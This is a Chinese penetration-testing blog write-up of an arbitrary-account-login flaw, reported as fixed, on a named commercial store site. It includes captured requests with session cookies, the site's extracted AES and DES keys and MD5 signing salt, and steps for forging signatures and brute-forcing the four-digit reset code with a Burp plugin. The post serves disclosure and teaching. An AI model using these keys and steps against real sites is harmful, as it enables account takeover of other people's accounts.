声明

本博客提供的思路和技术仅限于提升自身技术,不得用于非法活动,任何非法活动均与本博客的立场相违背,违法者将依法承担法律责任

我的看法

其实JS逆向在日常挖洞中不能算一种漏洞类型进行提交,而是一种技术,有了这个技术,就可以在数据包存在加密或者数据包存在签名防篡改的情况下,进行将密文解密或篡改数据包从而进行正常的渗透流程,甚至有些网站全站都存在数据包签名防篡改,那没有JS逆向的技术,你改不了数据包,连渗透的资格都没有,这还测个毛啊

案例介绍

漏洞名称

上海商米科技集团股份有限公司数字店铺存在任意用户登录漏洞(已修复)

漏洞发现

我在测试商米数字店铺中发现用户登录处使用手机验证码登录时验证码做了防爆破处理,但是 要实现用户登录是不是还可以修改原来的密码,用创建的新密码来实现密码登录,【修改密码】同样需要手机验证码验证,但是这里的验证接口并没有做验证码验证次数限制,而且为四位验证码,遍历次数只要10000次,可以进行爆破验证码操作 但是数据包中却没有找到验证码参数,甚至连像模像样的信息都没有,而且全站都是这样的,【重置密码】具体数据包内容如下

// 原始数据包如下
POST /api/user/resetPassword HTTP/2
Host: store.sunmi.com
Cookie: _c_WBKFRo=Un76hKEAvdAOAfzCsQ4Nuu8fLxA8acVXkTUnQwIV; tfstk=gcYEw-gqtavsJCkDgIbru9lECVQdzakbLU65ZQAlO9XHODhraOR8AgOBAhWyIdWHUQhdZTvkUTtIfqOp9aQohgujlBUNBRwB8a2WswC70R4yZqOp95jEIwFil4loG21hELjhjOflI6Xu-LXGsOCRZJfu-fRGBOf3qgbuIGfcNuqkEacwsOClrTvlxfRGB_blEfodcgkVNMcHMw4-R5RNYtAhQrR976mG3qBarE8GTM8ktOoEYF5FYtjyczJ2uIAHk_8-iuWyMHvC6LuqQNYeLejNz4zORI-MLG-EUPS9jILlbhH4DIdHLnjD-VlFbedf-O8-wzBHAQY54eD0N9YpdFSvyJk1FnO6-GJmCPJR4Hxc-UkqSgy7e1DI_UKUEuSh61Wj_fllLRPKMf_nNuERvJ5NhXxu2uIhY1Wj_RE82MIl_tGnF; _gcl_au=1.1.1104070136.1769850985; Hm_lvt_2018effe9e50369b4410bd0af8ecb7c9=1769850985,1769861358; _ga=GA1.2.1449330925.1769850985; _ga_RQML024HYC=GS2.2.s1769861358$o2$g0$t1769861358$j60$l0$h0; _ga_NFBQZJS49V=GS2.1.s1769861358$o2$g0$t1769861516$j60$l0$h0; Hm_lvt_61990ad31961f1bde37194ad4f2f1285=1769851055,1771835131,1772108018,1772338958; HMACCOUNT=A87FED76FCB56CAB; Hm_lpvt_61990ad31961f1bde37194ad4f2f1285=1772339825
Content-Length: 902
Sec-Ch-Ua-Platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqbHAefRGJzTQbtQ
Version: 2
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://store.sunmi.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://store.sunmi.com/user/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7
Priority: u=1, i

------WebKitFormBoundarybqbHAefRGJzTQbtQ
Content-Disposition: form-data; name="timeStamp"

1772339853
------WebKitFormBoundarybqbHAefRGJzTQbtQ
Content-Disposition: form-data; name="randomNum"

3gspVBCLxtglWdCw3agGHFtrQM0sdozs
------WebKitFormBoundarybqbHAefRGJzTQbtQ
Content-Disposition: form-data; name="params"

yXABToyr+0mTGR9u4Yf2WOq54mU+LzNTLIuQHi1TpZPCK0+NCLk72AYz55wC5Y5N70zuQnttWAzBDVEhUvnZukJ0HG3G3VSRvciKRXco7DnC/a77d1VLAdVRJJGsL5ghna4jP2BHjSjExrIrJcm5DWvHEwiH3JglZ7lJhbF7K3fADSE2nuW1K+jeze5Kmu/MBKUTrqlU1XIH/U2tdzcz6Q==
------WebKitFormBoundarybqbHAefRGJzTQbtQ
Content-Disposition: form-data; name="isEncrypted"

1
------WebKitFormBoundarybqbHAefRGJzTQbtQ
Content-Disposition: form-data; name="sign"

42d6b0c68a4151e3c17cbdac1746a14a
------WebKitFormBoundarybqbHAefRGJzTQbtQ
Content-Disposition: form-data; name="lang"

zh
------WebKitFormBoundarybqbHAefRGJzTQbtQ--

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 42
X-B3-Traceid: 21a9270d9420e83719fcc3fe1074cb6e
X-B3-Spanid: aee96733a3195d05
X-B3-Sampled: 1
Date: Sun, 01 Mar 2026 04:51:12 GMT
Vary: Origin
Access-Control-Allow-Origin: https://store.sunmi.com

{"data":{},"code":2003,"msg":"code error"}

//任意修改 POST 参数的返回包
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Content-Length: 44
X-B3-Traceid: f062b32ce9f642ae0380d3ef32ff1dc4
X-B3-Spanid: a3dfa9c4f8bdf4c2
X-B3-Sampled: 1
Date: Sun, 01 Mar 2026 05:00:35 GMT
Vary: Origin
Access-Control-Allow-Origin: https://store.sunmi.com

{"code":5026,"msg":"Invalid sign","data":{}}

有JS加解密经验的师傅并不会十分陌生,网站是通过POST multipart/form-data 类型进行传递数据,而且根据各个英文名,params是参数的意思,所以yXABToyr+0mTGR9u4Yf2WOq54mU+LzNTLIuQHi1TpZPCK0+NCLk72AYz55wC5Y5N70zuQnttWAzBDVEhUvnZukJ0HG3G3VSRvciKRXco7DnC/a77d1VLAdVRJJGsL5ghna4jP2BHjSjExrIrJcm5DWvHEwiH3JglZ7lJhbF7K3fADSE2nuW1K+jeze5Kmu/MBKUTrqlU1XIH/U2tdzcz6Q==就是所有要传递的参数,而且还是进行了加密处理,然后其他的timeStamp randomNum ... 就是起到了整体签名的作用,防止请求包POST部分进行任何篡改,而sign参数42d6b0c68a4151e3c17cbdac1746a14a就是整体进行签名后的结果,破解params参数加密算法和sign参数签名算法就是下一步需要做的,破解后才可以利用验证接口并没有做验证码验证次数限制进行爆破操作

破解加密和签名算法

用Wappalyzer插件和开发者工具查看 粗略查看JS代码,发现确实存在代码混淆,全局搜索AES(加密算法关键词)和randomNum等(参数名)等定位到核心的代码段

var ne = JSON.stringify(K)    // K为原始参数,转为JSON字符串
  , te = Object(s.a)(ne, Q)   // 调用s.a加密,加密后的参数为te
  , ae = Y ? Object(s.c)(te, Y, X, G) : Object(s.d)(ne, Y, X, G)// 调用s.c或s.d计算签名
  , fe = Object(l.a)(Object(l.a)({}, q), {}, {
        timeStamp: X,
        randomNum: G,
        params: Y ? te : ne,
        isEncrypted: Y,
        sign: ae,
        lang: "zh"
    })

然后更具上述总流程进行断点调试,分别步入s.a s.c s.d加密函数内部,审计JS加密签名代码,并提取内存中真实数据 s.a加密流程(对传递的明文参数进行加密):

  • 加密类型为AES ECB
  • 密钥为d38f5dba03944f5fbd83edbb15a85806,密钥长度为256bit,密钥类型为text
  • 填充方式为PKCS7 在在线加解密网站进行加解密操作,具体配置如下 成功解密得到明文为:
{"source":"1","company_id":"","shop_id":null,"username":"13588161325","code":"1234","password":"AfZPLALYo3GwCY+MH0Uu8w==","confirm":"Test123456"}

仔细观察发现password字段仍然是加密的,虽然这里不影响后续操作,但是秉承着解密解到底的想法,在s.a函数中在...DES.encrypt(w, o.a.enc.Utf8.parse(B)...关键字段(很明显是DES CBC加密)进行断点调试,在内存中发现密钥和偏移量 password参数加密流程:

  • 加密类型为DES CBC
  • 密钥为:jihexxkj,密钥长度为64bit,偏移量为98765432,类型均为text
  • 填充方式为PKCS7 在在线加解密网站进行加解密操作,具体配置如下 成功解密成功,就是我填写的新密码 重新回顾核心的代码段,有眼尖的师傅或许早已经发现了一个有意思的事,Y ? Object(s.c)(te, Y, X, G) : Object(s.d)(ne, Y, X, G)为什么签名会根据Y的值,选择加密后的密文te签名,和明文ne签名,Y是什么呢?不难得出,Y就是POST中的isEncrypted参数,如果isEncrypted为1,进行密文加签,isEncrypted为0,则进行明文加签,如果是明文加签的情况就省去了签名前的一层加密操作,整体流程会简单些,对后续的自动化爆破操作能轻松些,在把签名算法搞定后用明文加签的方法测试一下,看一下后端认不认这种方式即可,出现这种情况我认为可能是开发网站时用明文方式容易进行各种测试,后续正式环境会修改为强制密文加签,也就是当前情况 s.c签名流程(对整体参数进行签名):
  • 加密类型为MD5 32位小写
  • 签名拼接参数和顺序为params + isEncrypted + timeStamp + randomNum + MD5(Salt),其中盐值为Jihewobox15的MD5值为112a6961a4a6448276e2a04b2006e563
  • 这里代码审计过程中发现一个小彩蛋,就是随机字符串randomNum参数始终不会出现小写q,因为var w = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnoprstuvwxyz1234567890"中开发者漏写了一个q字符😂 在在线加解密网站进行加解密操作,具体配置如下 得到的签名值就是sign的值,签名复现成功,修改params参数为明文JSON格式,然后把isEncrypted参数改为0,进行明文签名,更换签名,最后发送请求包,显示code error,明文加签可用 Tips:如果显示code expire,重新在【忘记密码】处发送验证码即可,因为后端内定验证期限为5分钟,改时间戳没用,5分钟足够爆破10000次,时间绰绰有余

Burpsuite中用CloudX插件实现自动化爆破操作

自动化这一步当然可以写python脚本实现,找不到加解密时还可以使用JSRPC技术,这里我使用的方法我认为是最快捷方便,且最后用的就是burp爆破模块,但是这里不做CloudX插件的任何具体解释,只讲上述情况配置方法,插件具体使用方法和作用请查看插件GitHub,插件出于cloud-jie作者之手,是一个非常不错的自动加解密插件,这里我用的版本为1.0.9 修改传递数据包params为明文,isEncrypted为0 点击发送后右键发送给CloudX插件 然后配置sign参数MD5签名流程sign=MD5(params + isEncrypted + timeStamp + randomNum + 112a6961a4a6448276e2a04b2006e563)但是因为此插件的bug原因,需要在各个参数中添加一个空字符串,bug详情和解决方案可以查看我提交的bug处,空字符串在【自定义参数】处添加,然后MD5的盐值由于不再数据包中,和添加空字符串一样在【自定义参数】处添加即可,所以最终的驱动表达式为 sign = MD5( params + '' + isEncrypted + '' + timeStamp + '' + randomNum + '' + '112a6961a4a6448276e2a04b2006e563' ) 然后右键发送到爆破模块即可正常进行爆破操作 经过进一步测试,发现【注册账户】处存在同样的漏洞

总结

看了上述流程,了解了对抗加解密的具体操作流程,想完全理解还是需要一定的JS逆向基础的,如果要实现密文加签的自动化使用,一样可以使用CloudX插件进行配置,总的来说,JS逆向加解密的实操性很强,需要自己动手,可以自行搭建靶场进行练习;也看到了吧,这里其实就是一个简单的验证码爆破漏洞,发现漏洞还算比较容易,但是要进行漏洞利用就需要你掌握JS逆向,这就是此技术对于渗透的用处之一,这下理解了吧😘